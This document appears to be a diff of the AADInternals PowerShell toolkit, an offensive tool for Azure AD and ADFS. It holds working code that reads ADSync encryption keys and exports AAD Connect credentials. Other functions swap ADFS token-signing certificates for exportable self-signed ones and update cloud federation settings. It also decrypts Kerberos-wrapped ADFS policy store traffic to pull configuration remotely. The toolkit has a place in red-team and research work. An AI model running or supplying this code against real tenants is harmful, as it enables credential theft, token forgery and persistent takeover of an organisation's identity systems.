$keyLength = [System.BitConverter]::ToInt32($Data,$p);$p+=4
$key = $Data[$p..$($p+$keyLength-1)]; $p+=$keyLength
#$unk15 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$enAlg2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$keyLength2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
#$key2 = $Data[$p..$($p+$keyLength2-1)]; $p+=$keyLength2
Write-Verbose "*** KEYSET ***"
Write-Verbose "Id: $id"
Write-Verbose "Guid: $guid"
Write-Verbose "CryptAlg: $enAlg $($ALGS[$enAlg])"
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)`n`n"
$attributes=[ordered]@{
"KeySetId" = $id
"InstanceId" = $guid
"CryptAlg" = $enAlg
"Key" = $key
}
return New-Object PSObject -Property $attributes
}
}
# Gets entropy and instanceid from the local configuration database
# May 6th 2020
function Get-SyncEncryptionKeyInfo
{
<#
.SYNOPSIS
Gets ADSync encryption key info from the local configuration database
.DESCRIPTION
Gets ADSync encryption key info from the local configuration database
.Example
Get-AADIntSyncEncryptionKeyInfo
Name Value
---- -----
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
#>
[CmdletBinding()]
param()
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
$SQLClient.Close()
return New-Object PSObject ([ordered]@{Entropy = $entropy; InstanceId = $instance_id})
}
# Gets the db connection string from the registry
# May 11th
function Get-AADConfigDbConnection
{
[cmdletbinding()]
Param()
Begin
{
# Create the connection string for the configuration database
$parametersPath = "HKLM:\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
$dBServer = (Get-ItemProperty -Path $parametersPath).Server
$dBName = (Get-ItemProperty -Path $parametersPath).DBName
$dBInstance = (Get-ItemProperty -Path $parametersPath).SQLInstance
$connectionString = "Data Source=$dbServer\$dBInstance;Initial Catalog=$dBName"
# If not using local WID, use ADSync account credentials
if($dBServer -ne "(localdb)")
{
$connectionString += ";Integrated Security=true"
}
}
Process
{
Write-Verbose "ConnectionString=$connectionString"
return $connectionString
}
}
-16
View File
@@ -1,16 +0,0 @@
# This file will export AAD Connect credentials in a backgroud process
# so that the current PowerShell session is not elevated.
# Called from Get-SyncCredentials if -AsBackgroundProcess equals $true (=default)
# Add AADInternals dll to be able to elevate
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
# Import required AADInternals PowerShell scripts
. "$PSScriptRoot\CommonUtils.ps1"
. "$PSScriptRoot\AADSyncSettings.ps1"
# Get the credentials as PSObject
$credentials = Get-SyncCredentials -AsBackgroundProcess $false
# Convert to JSON string and return
return $credentials | ConvertTo-Json -Compress
+1 -1153
View File
File diff suppressed because it is too large Load Diff
-932
View File
@@ -1,932 +0,0 @@
# Updated Apr 22nd 2021
#May 24th 2019
function New-ADFSSelfSignedCertificates
{
<#
.SYNOPSIS
Creates new self-signed Token Signing and Token Decrypt certificates for ADFSService
.Description
Disables auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService.
Certificates are added to ADFS and the service is restarted. Certificates are also saved to the current directory.
.Parameter PfxPassword
Password for the Token Signing and Token Decrypt .pfx files. Default is "AADInternals".
.Example
New-AADIntADFSSelfSignedCertificates
.Example
New-AADIntADFSSelfSignedCertificates -PfxPassword "MyPassword"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$PfxPassword="AADInternals",
[Switch]$Force
)
Process
{
# Set the password
$CertificatePassword = ConvertTo-SecureString -String $pfxPassword -Force -AsPlainText
# Check the auto rollover status
if(!$Force -and !(Get-AdfsProperties).AutoCertificateRollover)
{
Write-Error "Certificate Auto Rollover is allready disabled!"
return
}
# Disable auto rollover
Set-ADFSProperties -AutocertificateRollover $false
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
# Create new certificates with the same name and store to LocalMachine store
$New_SigningCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_SigningCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_SigningCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
$New_DecryptCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_DecryptCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_DecryptCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
# Export the new certificates
Export-PfxCertificate -FilePath "ADFS_Token_Signing.pfx" -Password $CertificatePassword -Cert $New_SigningCertificate |Out-Null
Export-PfxCertificate -FilePath "ADFS_Token_Decrypt.pfx" -Password $CertificatePassword -Cert $New_DecryptCertificate |Out-Null
# Add certificates to ADFS
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint
Add-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint
# Set the new ones as primary
Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint -IsPrimary
Set-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint -IsPrimary
# Remove the old ones from ADFS
Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $Cur_SigningCertificate.Thumbprint
Remove-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $Cur_DecryptCertificate.Thumbprint
# Get the ADFS service information
$Service=Get-WMIObject -namespace "root\cimv2" -class Win32_Service -Filter 'Name="ADFSSRV"'
# Create an accessrule for private keys
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $service.StartName, "read", allow
$Root = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys"
# Give read permissions to private key of Signing Certificate
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_SigningCertificate)
$fileName = $rsaCert.key.UniqueName
$path="$Root\$fileName"
$permissions = Get-Acl -Path $path
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions
# Give read permissions to private key of Decryption Certificate
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_DecryptCertificate)
$fileName = $rsaCert.key.UniqueName
$path="$Root\$fileName"
$permissions = Get-Acl -Path $path
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions
# Restart ADFS service
Restart-Service ADFSSrv
# Output
Write-Host "Certificates successfully created and added to ADFS!"
Write-Host "Certificates also exported to ADFS_Token_Decrypt.pfx and ADFS_Token_Signing.pfx using password `"$PfxPassword`""
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
}
}
#May 24th 2019
function Restore-ADFSAutoRollover
{
<#
.SYNOPSIS
Restores ADFS to "normal" mode: Token Signing and Token Decryption certificates are automatically rolled over once a year.
.Description
Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates.
.Example
Restore-AADIntADFSAutoRollover
#>
[cmdletbinding()]
Param(
[Switch]$Force
)
Process
{
# Check the auto rollover status
if(!$Force -and (Get-AdfsProperties).AutoCertificateRollover)
{
Write-Error "Certificate Auto Rollover is allready enabled!"
return
}
# Enable auto rollover
Set-ADFSProperties -AutocertificateRollover $true
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
# Update certificates
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
Update-AdfsCertificate -CertificateType Token-Decrypting -Urgent
# Remove the old certificates from the certificate store
Remove-Item "Cert:\LocalMachine\My\$($Cur_SigningCertificate.Thumbprint)" -ErrorAction SilentlyContinue
Remove-Item "Cert:\LocalMachine\My\$($Cur_DecryptCertificate.Thumbprint)" -ErrorAction SilentlyContinue
# Restart ADFS service
Restart-Service ADFSSrv
# Output
Write-Host "Autorollover succesfully turned on and old certificates removed from ADFS and certstore."
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
}
}
#May 25th 2019
function Update-ADFSFederationSettings
{
<#
.SYNOPSIS
Updates federation information of the given domain to match the local ADFS server information.
.Description
Updates federation information of the given domain to match the local ADFS server information.
.Parameter AccessToken
Access Token
.Parameter Domain
The domain to be updated
.Example
Update-AADIntADFSFederationSettings -Domain company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Get the current settings from cloud
$FederationSettings = Get-DomainFederationSettings -DomainName $DomainName -AccessToken $AccessToken
# Get the current certificates
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
#$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pkcs12))
$Cur_PublicKey = [Convert]::ToBase64String($Cur_SigningCertificate.Certificate.GetRawCertData())
# Check the settings
if($Cur_PublicKey -eq $FederationSettings.SigningCertificate)
{
Write-Host "Settings already up to date!"
return
}
# Update federation settings
Set-DomainFederationSettings -AccessToken $AccessToken -DomainName $DomainName `
-ActiveLogOnUri $FederationSettings.ActiveLogOnUri `
-FederationBrandName $FederationSettings.FederationBrandName `
-IssuerUri $FederationSettings.IssuerUri `
-LogOffUri $FederationSettings.LogOffUri `
-MetadataExchangeUri $FederationSettings.MetadataExchangeUri `
-PassiveLogOnUri $FederationSettings.PassiveLogOnUri `
-PreferredAuthenticationProtocol $FederationSettings.PreferredAuthenticationProtocol `
-SigningCertificate $Cur_PublicKey
Write-Host "Federation information updated!"
}
}
# Parses GSS_Wrap and returns the encrypted data part
# Apr 1st 2021
function Parse-GSS_Wrap
{
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$Data,
[Parameter(Mandatory=$True)]
[Byte[]]$SessionKey,
[Parameter(Mandatory=$False)]
[ValidateSet('Initiator','Acceptor')]
[String]$Direction = 'Initiator',
[Parameter(Mandatory=$True)]
[Int]$SequenceNumber,
[Parameter(Mandatory=$False)]
[Int]$Type = 23 # 23 = rc4-hmac, 18 = aes256-cts-hmac-sha1-96
)
Process
{
if($Type -eq 18 ) # aes256-cts-hmac-sha1-96
{
# TODO: implement support for this
Throw "Unsupported GSS_WRAP type: $Type"
$s = 0
# Get the token header information
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
$Flags = $Data[ $s] ; $s+=1
$Filler = $Data[ $s] ; $s+=1
$EC = $Data[$s..($s+1)] ; $s+=2
$RRC = $Data[$s..($s+1)] ; $s+=2
$SND_SEQ = $Data[$s..($s+7)] ; $s+=8
[array]::Reverse($RRC)
$rotations = [bitconverter]::TouInt16($RRC,0)
[array]::Reverse($SND_SEQ)
if([bitconverter]::TouInt32($SND_SEQ,0) -ne $SequenceNumber)
{
Write-Warning "Sequence number mismatch!"
}
# Extract token information
$encData = $Data[$s..($data.Count - 1)]
# Rotate the data
for($r = 0; $r -lt $rotations; $r++)
{
$t = $encData[$encData.Count-1]
for($i = $encData.Count-1 ; $i -gt 0; $i--)
{
$encData[$i] = $encData[$i-1]
}
$encData[0] = $t
}
$encData | Format-Hex
return
}
elseif($Type -eq 23) # rc4-hmac
{
# Generate the sequence number from the given integer and add "direction" bytes
$SND_SEQ = [System.BitConverter]::GetBytes([uint32]$SequenceNumber)
[Array]::Reverse($SND_SEQ)
if($Direction -eq 'Initiator')
{
$SND_SEQ += @(0xff, 0xff, 0xff, 0xff)
}
else
{
$SND_SEQ += @(0x00, 0x00, 0x00, 0x00)
}
# Get object identifier
$tokLen = $Data[1]
$oidLen = $Data[3]
$oid = Convert-BytesToOid -Bytes $Data[4..(4+$oidLen-1)]
$s = 4+$oidLen
# Save the header for checksum calculation
$TOKEN_HEADER = $Data[$s..($s+7)]
# Get the token header information
$TOK_ID = $Data[$s..($s+1)] ; $s+=2
$SGN_ALG = $Data[$s..($s+1)] ; $s+=2
$SEAL_ALG = $Data[$s..($s+1)] ; $s+=2
$Filler = $Data[$s..($s+1)] ; $s+=2
# Extract token information
$encSND_SEQ = $Data[$s..($s+7)] ; $s+=8
$SGN_CHKSUM = $Data[$s..($s+7)] ; $s+=8
$encSGN_Confounder = $Data[$s..($s+7)] ; $s+=8
$encData = $Data[$s..($data.Count - 1)]
# Validation
# Token id should be 0x0102
if(($tid=[System.BitConverter]::ToInt16($TOK_ID,0)) -ne 0x102)
{
Write-Warning "Unknown TOKEN_ID ($tid), expected 256"
}
# Signing algorithm should be HMAC 0x0011
if(($sgalg=[System.BitConverter]::ToInt16($SGN_ALG,0)) -ne 0x11)
{
Write-Warning "Unknown SGN_ALG ($sgalg), expected HMAC (17)"
}
# Encryption algorithm should be RC4 0x0010
if(($enalg=[System.BitConverter]::ToInt16($SEAL_ALG,0)) -ne 0x10)
{
Write-Warning "Unknown SEAL_ALG ($enalg), expected RC4 (16)"
}
# Generate signature key by calculating MD5 HMAC from "signaturekey"+0x00 using the session key
$Ksign = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([text.encoding]::UTF8.GetBytes("signaturekey`0"))
# Generate decryption keys
$Klocal = New-Object byte[] $SessionKey.Count
for($a = 0 ; $a -lt $SessionKey.Count ; $a++)
{
$Klocal[$a] = $SessionKey[$a] -bxor 0xF0
}
$Kseq = [System.Security.Cryptography.HMACMD5]::New($SessionKey).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
$Kseq = [System.Security.Cryptography.HMACMD5]::New($Kseq ).ComputeHash($SGN_CHKSUM)
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Klocal ).ComputeHash([byte[]]@(0x00, 0x00, 0x00, 0x00))
$Kcrypt = [System.Security.Cryptography.HMACMD5]::New($Kcrypt ).ComputeHash($SND_SEQ[0..3])
# Decrypt sequence number
$decSND_SEQ = Get-RC4 -Key $Kseq -Data $encSND_SEQ
if(Compare-Object -ReferenceObject $decSND_SEQ -DifferenceObject $SND_SEQ -SyncWindow 0)
{
Write-Warning "Sequence number mismatch!"
}
# Decrypt data
$decSGN_Confounder = Get-RC4 -Key $Kcrypt -Data $encSGN_Confounder
$decData = Get-RC4 -Key $Kcrypt -Data @($decSGN_Confounder + $encData)
$decData = $decData[8..($decData.Count-1)]
$decSGN_CHKSUM = Get-RC4 -Key $Kcrypt -Data $encSGN_CHKSUM
# Calculate MD5 checksum: Salt + header + confounder + data
$SGN_CHKSUM2 = [System.Security.Cryptography.MD5 ]::Create().ComputeHash(@(@(13,0,0,0) + $TOKEN_HEADER + $decSGN_Confounder + $decData))
$SGN_CHKSUM2 = ([System.Security.Cryptography.HMACMD5]::New($Ksign).ComputeHash($SGN_CHKSUM2))[0..7]
if(Compare-Object -ReferenceObject $SGN_CHKSUM -DifferenceObject $SGN_CHKSUM2 -SyncWindow 0)
{
Write-Warning "Invalid checksum!"
}
return $decData
}
else
{
Throw "Unsupported GSS_WRAP type: $Type"
}
}
}
# pHash
# https://www.ietf.org/rfc/rfc2246.txt
# Apr 5th 2021
function Get-PSHA1
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Secret,
[Parameter(Mandatory=$True)]
[byte[]]$Seed,
[Parameter(Mandatory=$False)]
[int]$Bytes=32
)
Process
{
[System.Security.Cryptography.HMACSHA1]$HMAC = [System.Security.Cryptography.HMACSHA1]::New($Secret)
$PSHA1=@()
$A = $seed
$p = 0
while($p -lt $Bytes)
{
$A = $HMAC.ComputeHash($A)
$PSHA1 += $HMAC.ComputeHash(($A + $Seed))
$p+=$A.Count
}
$HMAC.Dispose()
return [byte[]]($PSHA1[0..($Bytes-1)])
}
}
# Decrypts the given ciphertext
# Apr 9th 2021
function Decrypt-WSTrustCipherData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$CipherText,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# The first 16 bytes are the IV
$InitialVector = $cipherText[0..15]
$encText = $cipherText[16..($cipherText.Count-1)]
# Decrypt the cipher text
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
$AES.Mode = "CBC"
$AES.Key = $Key
$AES.IV = $InitialVector
$transformer = $AES.CreateDecryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($encText,0,$encText.Count)
$cs.Close()
$cs.Dispose()
$transformedData = $ms.ToArray()
$ms.Close()
$ms.Dispose()
return $transformedData
}
}
# Encrypts the given plaintext
# Apr 10th 2021
function Encrypt-WSTrustCipherData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PlainText,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Create a random IV
$InitialVector = Get-RandomBytes -Bytes 16
# Encrypt the cipher text
[System.Security.Cryptography.Aes]$AES = [System.Security.Cryptography.Aes]::Create()
$AES.Mode = "CBC"
$AES.Key = $Key
$AES.IV = $InitialVector
$transformer = $AES.CreateEncryptor()
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$transformer,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($PlainText,0,$PlainText.Count)
$cs.Close()
$cs.Dispose()
$transformedData = $ms.ToArray()
$ms.Close()
$ms.Dispose()
return [byte[]]($InitialVector+$transformedData)
}
}
# Derives the key from proof token and nonce
# Apr 9th 2021
function Derive-WSTrustKey
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$Nonce,
[Parameter(Mandatory=$False)]
[int]$Bytes = 32
)
Begin
{
# Default label (mis)used by Microsoft
$Label = [text.encoding]::ASCII.GetBytes("WS-SecureConversationWS-SecureConversation")
}
Process
{
$derivedKey = Get-PSHA1 -Secret $Key -Seed ($label+$Nonce) -Bytes $Bytes
return $derivedKey
}
}
# Creates a SOAP envelope for RST
# Apr 13th 2021
function Create-RSTEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[String]$KerberosTicket
)
Process
{
$messageId = (New-Guid).ToString()
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:MessageID>urn:uuid:$messageId</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">http://$Server/adfs/services/policystoretransfer</a:To>
</s:Header>
<s:Body>
<t:RequestSecurityToken Context="uuid-$((New-Guid).ToString())" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
<t:KeySize>256</t:KeySize>
<t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/spnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">$KerberosTicket</t:BinaryExchange>
</t:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
return $envelope
}
}
# Parse RST response
# Apr 14th 2021
function Parse-RSTR
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$RSTR,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Extract information from the RSTR
$krb_response = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].BinaryExchange.'#text'
$proofToken = Convert-B64ToByteArray -B64 $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedProofToken.EncryptedKey.CipherData.CipherValue
$keyIdentifier = [guid](($RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
$context = $RSTR.Envelope.Body.RequestSecurityTokenResponseCollection.RequestSecurityTokenResponse[0].RequestedSecurityToken.SecurityContextToken.Id
# Parse the ticket
$ticket = Parse-Asn1 -Data $krb_response
# Get the encrypted kerberos ticket
$encKRB = $ticket.Data.Data[2].Data.Data
$encKRB = Parse-Asn1 -Data $encKRB
$encKRB = $encKRB.Data[2].Data.Data[2].Data.Data[1].Data.Data
# Decrypt the ticket
$decKRB = Decrypt-Kerberos -Data $encKRB -Key $Key -Type APRepPart -Crypto RC4
$decKRB = Parse-Asn1 -Data $decKRB
# Get the sequence number and subkey
$SequenceNumber = $decKRB.Data.Data[3].Data.Data
$SubKey = $decKRB.Data.Data[2].Data.Data[1].Data.Data
$EncryptionType = $decKRB.Data.Data[2].Data.Data[0].Data.Data
Write-Verbose "Subkey: $(Convert-ByteArrayToB64 -Bytes $subKey)"
Write-Verbose "Sequence num: $sequenceNumber"
# Extract the key from the proof token
$securityKey = (Parse-GSS_Wrap -Type $EncryptionType -Data $proofToken -SessionKey $subKey -Direction Initiator -SequenceNumber $sequenceNumber)[0..31]
Write-Verbose "Security key: $(Convert-ByteArrayToB64 -Bytes $securityKey)"
Write-Verbose "Context: $context"
Write-Verbose "Identifier: $keyIdentifier"
# Construct the return value
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $securityKey; "Identifier" = $keyIdentifier}
return $retVal
}
}
# Creates a SOAP envelope for RST SCT
# Apr 14th 2021
function Create-SCTEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$ClientSecret,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server
)
Process
{
$payload = "<t:RequestSecurityToken xmlns:t=""http://schemas.xmlsoap.org/ws/2005/02/trust""><t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:Entropy><t:BinarySecret Type=""http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce"" u:Id=""uuid-$((New-Guid).ToString())"">$(Convert-ByteArrayToB64 -Bytes $ClientSecret)</t:BinarySecret></t:Entropy><t:KeySize>256</t:KeySize></t:RequestSecurityToken>"
$action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT"
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
return $envelope
}
}
# Parse CST response
# Apr 14th 2021
function Parse-SCTR
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$SCTR,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Parse the response and fetch the server secret
[xml]$xPlaintext = Parse-ADFSResponse -Response $SCTR -Key $Key
$token = $xPlaintext.RequestSecurityTokenResponse.Entropy.BinarySecret.'#text'
$serverSecret = Convert-B64ToByteArray -B64 $token
$computedKey = Get-PSHA1 -Secret $clientSecret -Seed $serverSecret -Bytes 32
$context = $xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Id
$keyIdentifier = [guid](($xPlaintext.RequestSecurityTokenResponse.RequestedSecurityToken.SecurityContextToken.Identifier).Split(":")[2])
Write-Verbose "Server secret: $(Convert-ByteArrayToB64 -Bytes $serverSecret)"
Write-Verbose "Computed key: $(Convert-ByteArrayToB64 -Bytes $computedKey)"
Write-Verbose "Context: $context"
Write-Verbose "Identifier: $keyIdentifier"
# Construct the return value
$retVal = New-Object psobject -Property @{"Context" = $context; "Key" = $computedKey; "Identifier" = $keyIdentifier}
return $retVal
}
}
# Checks whether the response is a soap error
# Apr 15th 2021
function Check-SoapError
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$Message
)
Process
{
# Check for the fault message
if($Message.Envelope.Body.Fault)
{
$Message = $Message.Envelope.Body.Fault.OuterXml
}
if($Message.Fault)
{
$reason = $Message.Fault.Reason.Text.'#text'
throw $reason
}
}
}
# Parse ADFS Soap response
# Apr 14th 2021
function Parse-ADFSResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$Response,
[Parameter(Mandatory=$True)]
[byte[]]$Key
)
Process
{
# Extract nonce and cipher texts
# The first nonce is used to derive key used for ENCRYPTING, the second one is for SIGNING
# The cipher data in header is the signature block, which is not needed here
#$nonce0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[0].Nonce
#$cipher0 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.EncryptedData.CipherData.CipherValue
$nonce1 = Convert-B64ToByteArray -B64 $Response.Envelope.Header.Security.DerivedKeyToken[1].Nonce
$cipher1 = Convert-B64ToByteArray -B64 $Response.Envelope.Body.EncryptedData.CipherData.CipherValue
# Derive the key
$derivedKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1
Write-Verbose "Nonce: $(Convert-ByteArrayToB64 -Bytes $nonce1)"
Write-Verbose "Derived key: $(Convert-ByteArrayToB64 -Bytes $derivedKey)"
# Decrypt the cipher data
#$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher0 -Key $derivedKey
#$plainText = [text.encoding]::UTF8.GetString($bPlainText)
$bPlainText = Decrypt-WSTrustCipherData -CipherText $cipher1 -Key $derivedKey
$plainText = [text.encoding]::UTF8.GetString($bPlainText)
Check-SoapError -Message $plainText
return $plainText
}
}
# Creates a SOAP envelope for ADFS request
# Apr 14th 2021
function Create-ADFSRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server
)
Process
{
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>ServiceSettings</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $Server -Payload $payload -Action $action
return $envelope
}
}
# Invokes a ADFS SOAP request
# Apr 13th 2021
function Invoke-ADFSSoapRequest
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[string]$Command
)
Process
{
# Create the envelope
$payload = "<GetState xmlns=""http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore""><serviceObjectType>$Command</serviceObjectType><mask xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></mask><filter xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" i:nil=""true""></filter><clientVersionNumber>1</clientVersionNumber></GetState>"
$action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState"
$envelope = Create-ADFSSoapEnvelope -Key $Key -Context $Context -KeyIdentifier $KeyIdentifier -Server $server -Payload $payload -Action $action
try
{
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
}
catch
{
# Catch the error and try to parse the SOAP document
$str=$_.Exception.Response.GetResponseStream()
$buf = new-object byte[] $str.Length
$str.Position = 0
$str.Read($buf,0,$str.Length) | Out-Null
[xml]$response=[text.encoding]::UTF8.GetString($buf)
}
return Parse-ADFSResponse -Response $response -Key $Key
}
}
# Creates a SOAP envelope for the second RST request
# Apr 13th 2021
function Create-ADFSSoapEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[String]$Context,
[Parameter(Mandatory=$True)]
[guid]$KeyIdentifier,
[Parameter(Mandatory=$True)]
[string]$Server,
[Parameter(Mandatory=$True)]
[string]$Payload,
